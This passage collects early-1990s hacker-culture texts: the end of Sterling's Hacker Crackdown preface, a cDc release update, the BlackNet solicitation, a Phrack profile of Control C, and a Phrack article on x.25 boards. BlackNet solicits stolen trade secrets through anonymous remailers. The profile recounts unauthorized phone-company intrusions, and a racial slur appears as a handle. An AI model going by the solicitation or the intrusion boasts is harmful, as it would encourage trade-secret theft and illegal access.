well. On the other hand, I didn't write this book in

order to squeeze every last nickel and dime out of

the mitts of impoverished sixteen‑year‑old

cyberpunk high‑school‑students. Teenagers don't

have any money ‑‑ (no, not even enough for the six‑

dollar *Hacker Crackdown* paperback, with its

attractive bright‑red cover and useful index). That's

a major reason why teenagers sometimes succumb

to the temptation to do things they shouldn't, such

as swiping my books out of libraries. Kids: this one

is all yours, all right? Go give the print version back.

*8‑)

Well‑meaning, public‑spirited civil libertarians

don't have much money, either. And it seems

almost criminal to snatch cash out of the hands of

America's direly underpaid electronic law

enforcement community.

If you're a computer cop, a hacker, or an

electronic civil liberties activist, you are the target

audience for this book. I wrote this book because I

wanted to help you, and help other people

understand you and your unique, uhm, problems. I

wrote this book to aid your activities, and to

contribute to the public discussion of important

political issues. In giving the text away in this

fashion, I am directly contributing to the book's

ultimate aim: to help civilize cyberspace.

Information *wants* to be free. And the

information inside this book longs for freedom with

a peculiar intensity. I genuinely believe that the

natural habitat of this book is inside an electronic

network. That may not be the easiest direct method

to generate revenue for the book's author, but that

doesn't matter; this is where this book belongs by its

nature. I've written other books ‑‑ plenty of other

books ‑‑ and I'll write more and I am writing more,

but this one is special. I am making *The Hacker

Crackdown* available electronically as widely as I

can conveniently manage, and if you like the book,

and think it is useful, then I urge you to do the same

with it.

You can copy this electronic book. Copy the

heck out of it, be my guest, and give those copies to

anybody who wants them. The nascent world of

cyberspace is full of sysadmins, teachers, trainers,

cybrarians, netgurus, and various species of

cybernetic activist. If you're one of those people, I

know about you, and I know the hassle you go

through to try to help people learn about the

electronic frontier. I hope that possessing this book

in electronic form will lessen your troubles. Granted,

this treatment of our electronic social spectrum is

not the ultimate in academic rigor. And politically, it

has something to offend and trouble almost

everyone. But hey, I'm told it's readable, and at

least the price is right.

You can upload the book onto bulletin board

systems, or Internet nodes, or electronic discussion

groups. Go right ahead and do that, I am giving you

express permission right now. Enjoy yourself.

You can put the book on disks and give the disks

away, as long as you don't take any money for it.

But this book is not public domain. You can't

copyright it in your own name. I own the copyright.

Attempts to pirate this book and make money from

selling it may involve you in a serious litigative snarl.

Believe me, for the pittance you might wring out of

such an action, it's really not worth it. This book

don't "belong" to you. In an odd but very genuine

way, I feel it doesn't "belong" to me, either. It's a

book about the people of cyberspace, and

distributing it in this way is the best way I know to

actually make this information available, freely and

easily, to all the people of cyberspace ‑‑ including

people far outside the borders of the United States,

who otherwise may never have a chance to see any

edition of the book, and who may perhaps learn

something useful from this strange story of distant,

obscure, but portentous events in so‑called

"American cyberspace."

This electronic book is now literary freeware. It

now belongs to the emergent realm of alternative

information economics. You have no right to make

this electronic book part of the conventional flow of

commerce. Let it be part of the flow of knowledge:

there's a difference. I've divided the book into four

sections, so that it is less ungainly for upload and

download; if there's a section of particular relevance

to you and your colleagues, feel free to reproduce

that one and skip the rest.

Just make more when you need them, and give

them to whoever might want them.

Now have fun.

Bruce Sterling ‑‑ bruces@well.sf.ca.us

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

_ _

((___))

[ x x ] cDc communications

\ / Global Domination Update #14

(' ') December 30th, 1993

(U)

Est. 1986

New gNu NEW gnU new GnU nEW gNu neW gnu nEw GNU releases for December, 1993:

_________________________________/Text Files\_________________________________

241: "Cell‑Hell" by Video Vindicator. In‑depth article on modifying the Mitsubishi 800 cellular phone by Mr. Fraud himself. Rad.

242: "The Darkroom" by Mark Vaxlov. Very dark story about a high school rape in the photography lab at school. Disturbing.

243: "Fortune Smiles" by Obscure Images. Story set in the future with organized crime and identity‑swapping.

244: "Radiocarbon Dating Service" by Markian Gooley. Who would go out with Gooley? YOUR MOM!

245: "The U.S. Mercenary Army" by Phil Agee. Forwarded by The Deth Vegetable, this file contains a speech by former CIA agent Agee on the Gulf War. Interesting stuff.

246: "The Monolith" by Daniel S. Reinker. This is one of the most disgusting files we've put out since the infamous "Bunny Lust." I don't wanna describe this, just read it.

247: "Post‑Election '92 Cult Coverage" by Omega. Afterthoughts on Tequila Willy's bid for the U.S. Presidency.

248: "The Lunatic Crown" by Matthew Legare. Wear the crown. Buy a Slurpee. Seek the adept. Do not pass 'Go.'

249: "Yet Another Suicide" by The Mad Hatter. Guy gets depressed over a girl and kills himself.

250: "State of Seige" by Curtis Yarvin. The soldiers hunt the dogs hunt the soldiers. Like, war, ya know. Hell!

__________________________________/cDc Gnuz\__________________________________

"cDc: We're Into Barbie!"

cDc mailing list: Get on the ever‑dope and slamagnifiterrific cDc mailing list! Send mail to cDc@cypher.com and include some wonderlessly elite message along he lines of "ADD ME 2 DA MAILIN LIZT!!@&!"

NEW Official cDc Global Domination Factory Direct Outlets:

The Land of Rape and Honey 502/491‑6562

Desperadoes +61‑7‑3683567

Underworld 203/649‑6103

Airstrip‑One 512/371‑7971

Ministry of Death 516/878‑1774

Future Shock +61‑7‑3660740

Murder, Inc 404/416‑6638

The Prodigal Sun 312/238‑3585

Red Dawn‑2 Enterprises 410/263‑2258

Cyber Neurotic Reality Test 613/723‑4743

Terminal Sabotage 314/878‑7909

The Wall 707/874‑1316,2970

We're always taking t‑file submissions, so if you've got a file and want to really get it out there, there's no better way than with cDc. Upload text to The Polka AE, to sratte@phantom.com, or send disks or hardcopy to the cDc post office box in Lubbock, TX.

cDc has been named SASSY magazine's "Sassiest Underground Computer Group." Hell yeah!

Thanks to Drunkfux for setting up another fun HoHoCon this year, in Austin. It was cool as usual to hang out with everyone who showed up.

Music credits for stuff listened to while editing this batch of files: Zapp, Carpenters, Deicide, and Swingset Disaster.

Only text editor worth a damn: ProTERM, on the Apple II.

So here's the new cDc release. It's been a while since the last one. It's out because I fucking felt like it, and have to prove to myself that I can do this crap without losing my mind and having to go stand in a cotton field and look at some dirt at 3 in the morning. cDc=cDc+1, yeah yeah. Do you know what this is about? Any idea? This is SICK and shouldn't be harped on or celebrated. This whole cyberdweeb/telecom/'puter underground scene makes me wanna puke, it's all sick and dysfunctional. Eat my shit, G33/<W0r|_<|. Virus yourself to death. Go blind staring at the screen waiting for more wares/inph0 to come trickling down the wire. The more of that shit comes in, the more life goes out. Ooh, and you hate it so much, don't you. You hate it.

Hacking's mostly a big waste of time. Fuck you.

Stupid Telephone Tricks will never be on David Letterman. Fuck you. Cryptography? Who'd wanna read YOUR boring email? Fuck you. Interactive television is a couch potato trap. Fuck you.

"Surf the net," sucker. "Ride the edge," you maladjusted sack of shit.

S. Ratte'

cDc/Editor and P|‑|Ear13zz |_3@DeRrr

"We're into t‑files for the groupies and money."

Fuck you, fuck you... and most of all, fuck YOU.

Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453. Internet: sratte@phantom.com.

_______________________________________

cDc Global Domination Update #14‑by Swamp Ratte'‑"Hyperbole is our business"

ALL NEW cDc RELEASES FTP'ABLE FROM FTP.EFF.ORG ‑pub/Publications/CuD/CDC

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Introduction to BlackNet

Your name has come to our attention. We have reason to believe you may be interested in the products and services our new organization, BlackNet, has to offer.

BlackNet is in the business of buying, selling, trading, and otherwise dealing with *information* in all its many forms.

We buy and sell information using public key cryptosystems with essentially perfect security for our customers. Unless you tell us who you are (please don't!) or inadvertently reveal information which provides clues, we have no way of identifying you, nor you us.

Our location in physical space is unimportant. Our location in cyberspace is all that matters. Our primary address is the PGP key location: "BlackNet<nowhere@cyberspace.nil>" and we can be contacted (preferably through a chain of anonymous remailers) by encrypting a message to our public key (contained below) and depositing this message in one of the several locations in cyberspace we monitor. Currently, we monitor the following locations: alt.extropians, alt.fan.david‑sternlight, and the "Cypherpunks" mailing list.

BlackNet is nominally nondideological, but considers nation‑states, export laws, patent laws, national security considerations and the like to be relics of the pre‑cyberspace era. Export and patent laws are often used to explicity project national power and imperialist, colonialist state fascism. BlackNet believes it is solely the responsibility of a secret holder to keep that secret‑‑not the responsibility of the State, or of us, or of anyone else who may come into possession of that secret. If a secret's worth having, it's worth protecting.

BlackNet is currently building its information inventory. We are interested in information in the following areas, though any other juicy stuff is always welcome. "If you think it's valuable, offer it to us first."

‑ ‑ trade secrets, processes, production methods (esp. in semiconductors) ‑ nanotechnology and related techniques (esp. the Merkle sleeve bearing) ‑ chemical manufacturing and rational drug design (esp. fullerines and protein folding) ‑ new product plans, from children's toys to cruise missiles (anything on "3DO"?) ‑ business intelligence, mergers, buyouts, rumors

BlackNet can make anonymous deposits to the bank account of your choice, where local banking laws permit, can mail cash directly (you assume the risk of theft or seizure), or can credit you in "CryptoCredits," the internal currency of BlackNet (which you then might use to buy _other_ information and have it encrypted to your special public key and posted in public place).

If you are interested, do NOT attempt to contact us directly (you'll be wasting your time), and do NOT post anything that contains your name, your e‑mail address, etc. Rather, compose your message, encrypt it with the public key of BlackNet (included below), and use an anonymous remailer chain of one or more links to post this encrypted, anonymized message in one of the locations listed (more will be added later). Be sure to describe what you are selling, what value you think it has, your payment terms, and, of course, a special public key (NOT the one you use in your ordinary business, of course!) that we can use to get back in touch with you. Then watch the same public spaces for a reply.

(With these remailers, local PGP encryption within the remailers, the use of special public keys, and the public postings of the encrypted messages, a secure, two‑way, untraceable, and fully anonymous channel has been opened between the customer and BlackNet. This is the key to BlackNet.)

A more complete tutorial on using BlackNet will soon appear, in plaintext form, in certain locations in cyberspace.

Join us in this revolutionary‑‑and profitable‑‑venture.

BlackNet<nowhere@cyberspace.nil>

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑ Version: 2.3

mQCPAixusCEAAAEEAJ4/hpAPevOuFDXWJ0joh/y6zAwklEPige7N9WQMYSaWrmbi XJ0/MQXCABNXOj9sR3GOlSF8JLOPInKWbo4iHunNnUczU7pQUKnmuVpkY014M5Cl DPnzkKPk2mlSDOqRanJZCkyBe2jjHXQMhasUngReGxNDMjW1IBzuUFqioZRpABEB AAG0IEJsYWNrTmV0PG5vd2hlcmVAY3liZXJzcGFjZS5uaWw+

=Vmmy

Phrack Prophile on Control C

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 7 of 28

****************************************

‑:[ Phrack Pro‑Phile ]:

This issue our prophile introduces you to one of the all‑around coolest people ever to show up in the computer underground. Someone I'm happy to have had the good fortune to meet and force to ingest excessive quantities of intoxicating liquids and other unmentionables. Someone who very recently showed up on tabloid television amazingly for something other than computer hacking. Someone we know as:

Control C

~~~~~

________________________________________

Personal Info:

Handle : Control C

Call Me : A Cab

DOB : 1969

AGE : I Would Hope You Can Figure It Out.. Height : 6'0"

Weight : 160

Groups Affiliated With : Legion of Doom/Hackers!

Other Past Handles : Phase Jitter, Master of Impact, Dual Capstan, Richo Sloppy, Cosmos Dumpster Driver, Poster Boy, Whacky Wally (Sysop Whacky Wally's Wonderful World of Warez, as some of you may remember.. It Was a Hack/Phreak Board)

Computers Owned:

1st Computer‑Texas Instruments T‑1000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once I expanded the memory (4K plug in Module, for a total of

8k), I was unstoppable in BASIC.

Commodore Vic‑20

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What can you say about a Vic‑20?

Commodore 64

‑‑‑‑‑‑‑‑‑‑‑‑

Now I was big time. 1541 Disk drive was an unbelievable upgrade from my Vic‑20 and T‑1000 mass storage devices (Cassette Recorder).

Apple //C

‑‑‑‑‑‑‑‑‑

I was now a \/\/Arez d00d. What else could you be if you had an Apple? Everyone was!

IBM XT

‑‑‑‑‑‑

This was a real step up from CP/M (hahaha). I had incredible CGA Graphics. Actually it was not a bad system. My dad got a modem with it. Bad mistake eh? I was flying at 300 baud. This is the system all my BBSes were run on.

AT&T 3B1

‑‑‑‑‑‑‑‑

Lame, Lame, Lame... That about covers it.

Commodore AMIGA 500

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A real computer at last. Real graphics. Real Sound. Real Multi‑Tasking. A Real Operating System. And again...I was a \/\/ArEz D00D. But this time I was running 14.4K Baud. If you want a real computer BUY AMIGA!!!

IBM 486DX2/66

‑‑‑‑‑‑‑‑‑‑‑‑‑

Desk Top Video is really cool. But when you put you computers in the car people steal them and AAA Insurance gives you a hard

time. Still fighting with them.

Commodore AMIGA 3000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm a \/\/arez Dood. And the KING of Desk Top Video. BUT don't put all your computers in the same car. Oops...

Commodore AMIGA 500

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now I'm back to a 500 Until I get my Insurance company to pay me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

General Questions:

Q: How did you get your Handle?

A: If you cant figure this out...you should not be reading this.

Q: How did you get started?

A: Dad bought me an IBM XT with a 300 Baud Modem. I saw War Games...and off I went.

Q: What are some of your other interests?

A: Women... Women... Women... Everybody knows about my high level of hormonal activity. Also, Cars. If you don't have a Mitusubishi 3000GT: U R Lame. If you have a Stealth, I bet you wish you bought a 3000GT‑‑after you have dealt with the FUCKING ASSHOLES at the Chrysler DealerShit. Everybody says buy American. Well, you buy a FUCKING brand new American car and it brakes down 32 times. The Chrysler dealer treats you like shit. The manufacturer treats you like shit. And your car runs like shit. The problem is that the American auto workers have absolutely no pride in their workmanship; and the manufacturers and dealers don't give a shit about you or your car after they have made the sale. Then they wonder why their sales are down and people are buying foreign cars. Well, if I go into the Mitusubishi Dealership they treat me like a king and I bought the car 6 months ago. If your gonna by a car, don't buy a Chrysler. They Suck! I bought a brand new Jeep. It broke down 32 Times. Chrysler treated me like shit. Maybe you could tell.

Q: What were some of your most memorable experiences?

A: The First SummerCon. Disk Jockey and LOKI came to my house the day before. This is the first time we had met. On the way to my house they got lost and came across a street called 'Summerton.' So at about 0200 in the morning we were on the corner of Summerton Street and all the sudden the Summerton sign fell of the post and landed in the car owned by Disk Jockey. Well we changed the T to a C and all the suddenly we had a SummerCon street sign.

The trip down was a story in it self, as many of you have heard. It was really neat to meet all the people from the boards. I met Bill From RNOC who was my mentor and idol, but doesn't call me anymore.. (Thanks Bill). Lex Luthor who is one of the funniest guys, we will get into this later. Taran King, Knight Lightning (Scoop!), Lucifer 666...it was ELITE!

SummerCon 87' ‑ This is when I got it LOD/H. I remember sitting at the pool with Mentor being really drunk and both of us going "WOW!!! We're in LOD!"

My Bust ‑ In 1987 I was going to school in Chicago. I was on an Michigan Bell UNIX sharpening up my C programming skills, which, buy the way still need sharpening. I was on the system for 4+ hours. Well the system administrator had noticed me and called MBT security. They traced the call back to Chicago. The strange part of this was that the next morning I was quitting school and moving back to Detroit. When I got home to Detroit their was a message from MBT Security to call them or they would "Call On Me!". Well I thought it would be in my best interest to give them a ring. We met for lunch.

At lunch they told me since I had been in their systems for years and not destroyed or changed anything...in fact they had never noticed me there...They would not press charges if I helped them secure there systems. I said "Ok!".

The next thing I know I have an office. k‑Rad elite computer. Craft Access terminals. Manuals for every phone company computer on the planet and they are paying me $30,000 a year to do what I love. I was a professional Computer Hacker. I broke into Michigan Bell computers, networks, switches, went trashing etc...while being paid. It was great. I would see what I could do once I was into their systems, then write a report on what needed to be changed or fixed. I was great for them, and me.

Then I get fired ‑ my boss at Michigan Bell loves me! Her boss loves me! The Vice President of Michigan Bell loves me! Then Michigan Bell has a retirement incentive. The Vice President and my bosses boss retire. The New manager of computer security is closed‑minded, and fires me because I am "A criminal".

Well, those guys at corporate security at Michigan Bell are totally out of touch. Their knowledge of computer security is...how shall I say it..."lacking," I think, covers it. In fact, the code for the front door at the Michigan Bell Corporate Security Building is the equivalent to leaving the code on your luggage 000 and wondering how the airport baggage guy figure out your code and stole all your stuff. They should have kept me on like the old guys wanted to do.

It is my understanding, and I don't know because I don't do ANYTHING ILLEGAL (like the disclaimer?), but I hear that a lot of hackers are in Michigan Bell Systems. Michigan Bell Security is probably convinced that their systems are airtight. If you guys at Michigan Bell are reading this, You need help.. Look through some of my old reports and implement some of that stuff.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some BBS's To Mention:

Planet 10/Librarians of Doom ‑ (810)683‑9722. I'm Co‑Sysop. It is the only BBS I call. All the Old LOD Guys are on it. It's pretty 3l33t. If you can't hack the New User Password‑‑U R really lame! We got 0 day AMIGA Warez. Running on a USR HST. Leave a good New User Feedback message because the users on the system read the New User Feedback and vote whether or not you

will be allowed access to the system based on that message.

ShadowSpawn BBS ‑ Well, this was before I was in LOD. Our claim to fame was that we wouldn't let anyone on the BBS unless they gave us a valid phone number. We voice verified EVERYONE. And talked to them before we gave them an account. Most of the

people from LOD were not on because they would not give a valid phone number. It was not my idea it was Psychic Warlord's idea.

I could not believe we turned Lex Luthor down‑‑we got in quite a fight about that.

Phantasy Realm ‑ My first BBS. I always thought It was LAME,

but people always tell me how cool it was. I guess when you

login 15 times a day, it seems like the posting is slow.

The Coalition ‑ I was co‑sysop on this board as well. Run by Bad Subscript, one of my best friends. Another board I never thought was cool but everyone says it was great. Guess maybe I called it too much as well.

Metal Shop Private ‑ I thought I was the Elite of the Elite when

I got on there. There were guys from LOD posting and everything. I really was a cool system.

Catch 22 ‑ Well I think I was the last user before the system

went down. I think I was on for about 3 days before it went off line. I think it was good. As least I used it for a reference

on other BBS (That was when I was just becoming well known.)

Whacky Wally's Wonderful World Of Warez ‑ Some of you may

remember it. It was an H/P board that I ran for a while before Phantasy Realm. It was mostly done for a joke, but it ended up being pretty cool.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

People to mention:

Erreth Akbe ‑ One of my best friends. Helped me write this profile. Sysop of Planet 10/Librarians of Doom. The MASTER

NOVELL guy. If you want to know anything about NOVELL...Talk to him. (He's a CNE!!) Without him you would have all sorts of spelling errors and this profile would really look like shit. Plus, the BBS would have crashed long ago. He's my official editor.

Carol ‑ Erreth Akbe's Wife. Love ya babe! Got me a great deal

on my 3000GT. I still owe you dinner!

Bad Subscript ‑ My best friend. What a great guy. We hit Industry (the coolest nightclub in Pontiac) every Tuesday night. He's the biggest LEEEECH in the world, though. At this point he has 192 Downloads @ 94 Megs and 9 Uploads @ 2 Megs. Great ratio, eh?

Lucifer 666 ‑ What a great guy. Still talk to him daily after

all these years. Comes to Detroit a lot and I go to Illinois to see him a lot. I have a great story about L666. His family owns a real estate company in Illinois where he lives. Well, they sold a house to Virgil Ramsey, a Vietnam Vet. Well, Mr. Ramsey's new house has termite damage. L666 went to the house and verified

the damage. He told Mr. Ramsey that he would call an

exterminator the next day. Well I guess Mr. Ramsey didn't like the exterminator idea, because the next day he went to L666's office with a bolt‑action rifle. Took L666 outside into the street, with the gun to his head, and told him he was going to kill him. L666 swung around and hit the gun barrel upwards just as Ramsey pulled the trigger. They fought over the gun and L666 tossed the gun into the street. Ramsey went after the gun and L666 ran into the real estate building and locked the back door. Ramsey ran in the front door with gun in hand. L666 went into

his office and locked the door. Ramsey kicked in his office

door. L666 was under his desk. Ramsey said "Stand Up (L666's First Name) and take it like a Man!" L666 jumped up and they fought over the gun again. (I was at his office and saw the footprints on his door). The bolt action opened and the bullet

in the chamber fell to the ground. Ramsey put the gun to L666's head and pulled the trigger, but the action was open. The cops finally came in and arrested Ramsey. They say it is some type of stress related to Vietnam.

Laurie (L666's Girlfriend) ‑ She's Cool. Hi Hoochie! Well I

have a good story about her. BTW If you talk to L666 ask him why I call his girlfriend "Baldie". Anyway. L666 and Laurie came to Detroit in October. The first night we went to this bar that I always go to, called Industry. Well Laurie was worried about the crime in Detroit. I had just got done telling her that nothing ever happens Besides, we were in Pontiac! L666, Bad Subscript, Erreth Akbe DarkStar, Laurie and I were all in the car. We

pulled into the Industry parking lot. Some guy was laying on the ground and 3 guys were kicking him. Then they picked him up. Through him into the back of a panel van and drove off. L666, DarkStar and Laurie had been in Detroit for all of an hour and this is the first thing we see when we go to the bar. Needless

to say, she was freaking out. The rest of the weekend went smoothly, though‑‑except for DarkStar and L666 flashing deuce

gang signs at Club X in Detroit. Not a smart move.

DarkStar ‑ Hay bud. He's really fun. We party together a lot

in Detroit and Illinois, but I wouldn't take him to Las Vegas

with me. He did really shitty on the river boat we gambled on in the Mississippi river last November.

Prime Suspect ‑ Fellow LOD member. One of the smartest hackers I have ever met. In fact PR1ME Computers call him to help program there kernels when they can't figure it out. No lie! He also is Mr. Packet Radio. I really had fun with the cellular phone interception. I talk to him 3‑4 times a week. He and Bad Subscript talk more, though. Finally after 6 or 7 years he came to Detroit to see us last November. We had a great time. I'm sure he'll be back.

Bill From RNOC ‑ Fellow LOD Member. My Mentor. He taught me

about UNIX and Phone Company Computer and Networks. Taught me

how to engineer. Was a great friend. We talked 3‑4 times a day for a yea or so. Haven't talked to him much lately. Hope everything is going well for you, Bill...

Lex Luthor ‑ Mr. LOD! U R Out of Control! Lex is a great guy. There have been rumors about him floating around for years. Let me tell you. They are all false. He is the greatest guy. At SummerCon he was pretty mellow. He stayed at my house for a week or two. He was a blast. I have pictures of Him, Bad Subscript and me sitting on a dumpster outside EDS, and painted on the dumpster it says "Computer Papers Only". Also have picture of

him and I outside a funeral home with the address "2600" in BIG letters. Now he has been denying this outside in his underwear story for years. Here it is. Lex stayed at my house for a few weeks. I hooked him up with this girl (she was HOT.. And he was tearing it up with her every night). Well we went to Motel Sex (Motel 6) one night and were drinking pretty heavy. At about

0100 in the morning he went out of his room in his underwear.

Now the doors to the rooms are outside. And was kicking my door yelling "We need more Beer!". I think it was blown a little out of proportion. I hear a story that he was running around the parking lot or something. But that is the story...anyway he's a great guy.

Phantom Phreaker ‑ Fellow LOD Member. FUN FUN FUN. He is one of the friendliest people I have ever meet. He is a blast to party with. Love the hair! He has good things to say about everyone.

I have never meet anyone that knows more about Switching System and such than him. He is a walking phone company manual. BTW: How's your balls? (Private Joke)

Doom Prophet ‑ Fellow LOD Member. Phantom Phreaker's Twin Brother. Haven't seen much of him the last few years. Another walking manual. Hope you're doing good.

The Marauder ‑ Fellow LOD Member. I really got along great with him.. Didn't see much of him the second night. He and Phantom Phreaker were hiding...but he was really a great guy!

Taran King/Knight Lightning ‑ Got me into the "Elite" Scene. I really like you guys. Always a lot of fun. Don't see much of

you anymore at the SummerCons. Train King is off with this

woman, now wife. Congratulations.. Hope you are happy forever

And Knight Lightning is on the run from the Hotel manager who is running around asking everyone "Are you Craig Nedordorf?".

Erik Bloodaxe ‑ Fellow LOD Member. We have been completely "Out of Control" together. He is a blast. We have had our

differences, and I don't really know why. But I really like him. He is BIG fun! I didn't see much of you at the last SummerCon. Hope to talk to you more in the Future!

Forest Ranger ‑ JT. What a great and fun guy. In the past we didn't hang out too much, but last year at SummerCon we really

had a great time together. What a ladies' man! Hope to see you soon. Give me a call...maybe you can come to Detroit with L666 and go to the Gran Prix. I'm getting us all pit passes!

The Mentor ‑ Fellow LOD Member. Great guy. We got into LOD/H together. Haven't heard much from him lately. Hope all is

well.

The Prophet/The UrVile/The Leftist ‑ Fellow LOD Members. The three of us really got along great. We were always together at the SummerCons. We talked 5000000 times a day on the phone. I really liked them. They were really cool.. Then............ What the FUCK! The government flew them to Detroit to testify in front of the grand jury against me. No problem‑‑you do what you gotta do. But if you're in town you could at least give me a call

after all we have been through together. That was really weak. And don't return my calls 3 years later... Whatever!

Dispater ‑ All around fun guy. Didn't go to SummerCon last year. I know Erreth Akbe was bummed. He was really looking forward to seeing you. I'm not going this year, but if I *WAS*, I would really like to see ya.

High Evolutionary ‑ We have never met, but in the mid 80's we talked daily. Haven't heard anything about him in years. He was really a smart guy. Hope all is well.

Psychic Warlord ‑ Great guy. Sysop of ShadowSpawn. We hung around A LOT in the old days. I understand you are getting married. Congratulations. Hope I'm invited.

Mitch Kapor (Programmer of LOTUS) ‑ You know why Mitch. I thank you much. If you ever need anything. You have my phone number!

Jim F ‑ He helped me out of a LOT of problems.. Thanks Jim!

(Please Note: These are in no special order. If you are on the top of the list or the bottom it has no relation to your importance on the list.)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What I think of the Future of the Underground:

Ahahaha.. LAME, LAME, LAME.. In the old days we were the first to do things. We would get on a system and play with it for hours. It was a quest for knowledge. That was what LOD/H was all about. Today's new "hackers" are really assholes. They don't do it to learn. They want to mess things up. I really can't stand the new anarchy thing that is going around. We have kids logging onto the BBS that say "I have 400+ viruses". Well.. That's not cool.

The purpose of hacking is to learn. Learn the way a computer system runs. Learn how the telephone switching systems work. Learn how a packet switching network works. It's not to destroy things or make other peoples lives a mess by deleting all the

work they did for the past week. The reason the Department of Justice has crackdowns on computer hackers is because so many of them are destructive. That's just stupid criminal behavior and I hope they all get busted. They shouldn't be around. You give real

hackers a bad name.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Other Things to Mention:

The "NEW Legion of Doom" ‑ Beyond Lame. It is my understanding that some lame kid from Canada (eh!) was starting a "New LOD". Well those kids couldn't hack their way into, let alone out of a Cracker Jack box. If they are on you BBS.. Delete them! They have absolutely no affiliation with the real Legion of Doom!

DrunkFux ‑ Jessie, I have been trying to get a hold of you for a year now. If you could get my number and call me. Or call our board (810)683‑9722 and leave me your phone number. I would like to get Dena's phone number from you.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the late 80's someone call forwarded my home phone to a Voice Mail Box.. I heard it was SuperNigger, but he says not.. I

thought you guys might get a kick out of the message left on it.

My name's Control C.. AKA Phase Jitter of LOD!

Elite as can be... I thought that was Me!

Until they forwarded my number to a V.M.B.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well that's about it.. My final words of wisdom... Call our board.. It's 3l33t!

Control C

Legion of Doom/Hackers

Running a BBS on X.25

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 8 of 28

****************************************

Running a Board on x.25

================

In this article, I want to inform the reader about advantages, problems, experiences and fun about running a BBS on x.25. I also want to do a few comparisons between x.25 on one hand and the Internet and phone system on the other. This article may also help you to setup a BBS on a UNIX, no matter if on x.25 or not.

I. Systems on x.25...

==========================

In my article for Phrack 42 about the German scene (read it if you haven't done so yet! :‑) I also mentioned the x.25 scene and a few Bulletin Board Systems (BBS / boards) on it.

One of the most popular ones, LUTZIFER, just went down on December 20, 1993. Lutzifer used to be one of the most popular x.25 boards back in 1990 and early 1991, when US people were still able to use Tymnet ("video" and "parmaster") and Sprintnet without much of a hassle. I spoke with Lutz (sysop of Lutzifer) at the CCC Congress in Hamburg a week later. He told me that he first just wanted to change the speed for his x.25 connection from 9600 to 2400 to save some money (actually 50%), because he didn't get too many calls anyway. But the German Telekom (who handle x.25 AND the phone lines) wanted him to cancel his old x.25 connection, get a new NUA, pay the $300 installation fee, all to get a 2400 bps connection. This really made Lutz mad, and he finally decided to cancel all x.25 ‑ so goodbye to Lutzifer!

On the other side, QSD (the lamest chat system one can imagine) is still up and running on x.25. Back in Summer 1993, there have been many rumors that QSD would go down. It wasn't reachable from most networks in the world anymore, including Sprintnet, Datex‑P and others. They were probably just "testing" something ‑ but QSD will never have its >80 online users again (sounds pretty ridiculous compared to IRC :) that it had back in the good old days.

II. Advantages of x.25

==========================

You may wonder what the advantages of running a board on x.25 are. Wouldn't an Internet link or a phone dialup be enough? In fact, the Internet is getting more and more popular, the number of its hosts is increasing dramatically. This, and the fact that ISDN is faster and available to more and more people at cheaper rates, makes x.25 seem unattractive.

But x.25 is a very old and safe network. It hasn't really changed in 10 years. There are hardly any netsplits like on the Internet, and it has a very low rate of data errors. X.25 is available in almost every country (far over 200) in the world, even in countries that never heard of Internet like Mauritius or United Arab Emirates. This means that a lot of people from all over the world can call you at a cheap rate (at least cheaper than international phone charges, for some people even free at all :). To the sysop it offers a couple of features that modems can't offer, and where the Internet isn't safe enough. This is also a reason why most banks, insurances and credit agencies still rely on x.25. I will describe those features in the next chapter.

III. Setting up your X.25 board

==================================

So let's get practical after all this boring theory!

How do you start if you want to setup your own x.25 board?

First of all, you need your own x.25 line. In most countries your phone company would be responsible; in a few countries like the US you may even have a choice of different x.25 providers like "Sprintnet". The prices for those lines really vary. You may check the Sprintnet or Tymnet Toll Free information service, that also gives you information and prices about other countries. E.g. in Germany a 2400 bps (the slowest) link would be US$130 a month, a 9600 bps link about $260. The good thing though is that each additional virtual channel is just $3 more per month (in Germany). A number of 16 channels is typical and 128 channels aren't exotic.

But remember, all channels have to share the maximum bandwidth of ‑ let's say ‑ 9600 bps. So if 10 people would start to leech the latest Phrack at the same time, they would all just have 960 bps each or 96 cps.

But downloading isn't always that easy. In fact, many of my users have been reporting problems while trying to download. While a few x.25 networks like Datapak Norway and German Datex‑P are true 8 bit networks, many networks and PADs just handle 7 bit connections. It's not always that easy to transfer binaries at 7 bit, though it was possible for me to download from a Sprintnet dialup using a 'good' version of Z‑Modem.

X.25 is not the right choice if you want to transfer huge amounts of data anyway. It is meant for people who work interactively. It is recommended for people who want to do a database research, read and write email and news or just chat.

